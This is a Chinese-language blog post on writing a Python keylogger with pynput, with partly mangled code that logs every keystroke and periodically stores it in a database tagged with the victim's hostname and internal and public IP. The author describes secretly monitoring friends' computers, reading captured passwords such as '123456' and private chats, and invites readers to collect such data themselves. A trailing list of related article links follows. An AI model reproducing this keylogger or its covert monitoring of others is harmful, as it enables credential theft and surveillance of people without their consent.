文章目录

  • 1、键盘监听库pynput
  • 2、进行键盘输入的数据保存
  • 3、从键盘监听中我们能看出什么
    • 3.1 疯狂的ctrl=读代码ing
    • 3.2 看起来有意义的字符串并以Key.enter结尾≈输入某个app密码ing
    • 3.3 拼音(自行识别)
    • 3.4 代码关键字判断用户在写什么语言的代码
  • 4、完整代码获取

1、键盘监听库pynput

使用pynput可以很方便地实现对键盘输入的监听,我们先看一个最简单的实现键盘监听的demo

from pynput import keyboard
def on_press(key):print(key)
if __name__=="__main__":with keyboard.Listener(on_press=on_press, on_release=on_release) as lsn:lsn.join()

我们执行来看看

执行了上述的代码后,我们继续在编辑 器中输入了abcdefg并按了一次退格,接着我通过截图的快捷键进行截图,所有的操作都被记录在了控制台中。

2、进行键盘输入的数据保存

既然我们能对数据进行监听,那么为了能够在后续实现对键盘输入数据的分析,我们可以制定周期执行计划,将每个周期内的键盘输入保存到数据库中。这部分我们通过修改上面的demo中的on_press函数来实现。

import time
global_time = time.time()
loglist = []
hostname = socket.gethostname()
host = socket.gethostbyname(hostname)
def parse_log():"""解析键盘输入日志"""global loglist, host, hostnamemy_ip = str(urlopen('http://ip.42.pl/raw').read()).replace("'", "").replace("b", "")try:temp = [str(i).strip().replace("'", "") for i in loglist]if temp:content = " ".join(temp)content = content.replace("Key.backspace", " ")struct_time = time.localtime(time.time())  # 得到结构化时间格式now_time = time.strftime("%Y-%m-%d %H:%M:%S", struct_time)dbutil().insert("insert into event(log_time, log, host, hostname,ip) values ('{}','{}','{}','{}','{}')".format(now_time, content, host, hostname,my_ip))loglist = loglist[len(temp):]except Exception as e:traceback.print_exc(e)
def on_press(key):global global_time, loglist# 每5分钟读写一次if (time.time() - global_time) >= 300:parse_log()global_time = time.time()loglist.append(key)

上述连接数据库的工具类就不作过多赘述了,需要完整代码的可以转到文章末尾获取链接。
为了对收集的键盘输入来源标记,这里会在脚本启动时获取当前主机的主机名称,内网ip和公网ip。每次键盘的输入事件会记录在一个全局列表中,在每次执行完成后删除已经保存到数据库的内容。

3、从键盘监听中我们能看出什么

由于键盘输入的数据比较混乱,因此目前还没有实现针对输入数据的代码。下面我展示我监听的几位小伙伴的电脑输入来推测下大家都在干嘛。

3.1 疯狂的ctrl=读代码ing

上面这张图我们看到当前用户正在疯狂按住ctrl,所以这个时候是在看项目代码,点击查看各个函数的具体用法。

3.2 看起来有意义的字符串并以Key.enter结尾≈输入某个app密码ing

当我们看到上图这部分可以很明显地感知到当前用户在输入密码信息,123456 以及 smile…后都接上了回车键

3.3 拼音(自行识别)

这里我们通过识别拼音发现当前用户正在聊天而且聊得很开心,又是“哈哈哈哈哈”,又是“坏姐姐”的。

3.4 代码关键字判断用户在写什么语言的代码

这里我监听的小伙伴们中,通过键盘输入日志发现有的在写前端,有的在写java,还有的在写python。这里就不一一列举了,这些都可以在后续通过自己写逻辑进行识别出来。
至于怎么获取足够的数据就要看大家自己的操作了。

4、完整代码获取

完整代码关注以下公众号回复"0080"获取git下载地址

python 监听键盘输入并收集数据进行分析相关推荐

  1. python监听键盘输入 linux_Linux下使用Python捕获键盘输入

    在Linux下如何用Python监控键盘记录 思路 在上篇已经说到如何使用Python获取/dev/input目录下event对应的设备的名字.那么我们可以知道设备的名字,就可以通过名字知道哪些eve ...

  2. python监听键盘输入_Python监听模拟鼠标键盘

    1.监听鼠标和键盘的输入 from pynput import keyboard,mouse def on_press(key): print('alphanumeric key {0} presse ...

  3. [C#]非阻塞监听键盘输入

    摘要 最近需要调研监控用户键盘输入的内容,然后收集数据进行用户行为分析.然后就用控制台程序弄了一个demo. 代码如下 class Program{static void Main(string[] ...

  4. 监听键盘输入pynput.keyboard

    [小白从小学Python.C.Java] [计算机等级考试+500强双证书] [Python-数据分析] 监听键盘输入 pynput.keyboard 选择题 关于以下python代码说法错误的是? ...

  5. Python基于WordCloud词云图的数据可视化分析 词云图的基本使用 政府工作报告分析

    Python基于WordCloud词云图的数据可视化分析 词云图的基本使用 政府工作报告分析 文章目录 1.词云图简介 2.wordcloud库的安装 3.WordCloud的主要参数说明 4.绘制词 ...

  6. 【计算机专业毕设之基于python猫咪网爬虫大数据可视化分析系统-哔哩哔哩】 https://b23.tv/jRN6MVh

    [计算机专业毕设之基于python猫咪网爬虫大数据可视化分析系统-哔哩哔哩] https://b23.tv/jRN6MVh https://b23.tv/jRN6MVh

  7. 【大数据分析专业毕设之基于python爬虫的电影票房大数据预测分析+大屏可视化分析

    [大数据分析专业毕设之基于python爬虫的电影票房大数据预测分析+大屏可视化分析-哔哩哔哩https://b23.tv/saIKtBH flask web框架,数据使用requests模块爬取数据, ...

  8. 怎么用python爬股票接口对股票数据进行分析

    怎么用python爬股票接口对股票数据进行分析 在 Python的QSTK中,是通过 s_datapath 变量,定义相应股票数据所在的文件夹. 具体的股票数据来源,例如沪深.港股等市场,你可以使用免 ...

  9. 数据分析与挖掘案例之使用python抓取豆瓣top250电影数据进行分析

    使用python抓取豆瓣top250电影数据进行分析 抓取豆瓣Top250电影数据的链接和电影名称 代码如下: import urllib.request as urlrequest from bs4 ...

最新文章

  1. 全网最简单的网络图画法,小白福音包学包会
  2. 每日一皮:第一次用CSS的时候,我震惊了...
  3. 5、MySQL修改数据库:ALTER DATABASE用法简介
  4. Bound Found POJ - 2566(尺取法+前缀和创造区间变化趋势)
  5. hadoop 单机单间_Hadoop单机模式配置
  6. clientdataset1.filter like怎么用_除了like, 英语还能这样说“喜欢”!
  7. 【分布式ID】键高并发 分布式 全局唯一 ID 雪花算法 snowflake
  8. hibernate DetachedCriteria实现多表关联查询createAlias的使用
  9. 自然语言处理NLP星空智能对话机器人系列:理解语言的 Transformer 模型-子词分词器
  10. COPRA RF 2005 SR1冷弯成型,轧辊设计 USB加密锁
  11. es 中 mapping 简介
  12. 压缩图片大小至指定Kb以下
  13. EVE-NG模拟器社区版网络模拟环境搭建教程
  14. 实现n*n乘法口诀表
  15. Yocto中开发内核的两种方法
  16. 曝光的原理 自动曝光
  17. OpenCV的本地相机抓图和本地视频取帧
  18. java vanish 缓存_高并发基础、思路以及普遍的处理方式
  19. Android中的三级缓存解析与实战
  20. 《程序员的自我修养-Ch7_动态链接》

热门文章

  1. LVC 播放器buffer自定义读写的方法
  2. python面向对象编程指南([美stevenflott_Python面向对象编程指南 ([美]StevenFLott洛特) 中文_IT教程网...
  3. springboot支付宝APP支付与退款
  4. 海豚php 安装,下载及安装
  5. ANSYS FLUENT——最基本操作(以一个简单的案例为例)
  6. 计算机滴答滴的教学,滴答滴教案
  7. DVI接口关于技术性的知识导论
  8. 原神迷城战线光界篇冰结试炼怎么过
  9. 详解typora配置华为云图床
  10. 【JAVADAY9、常见的8个类的使用】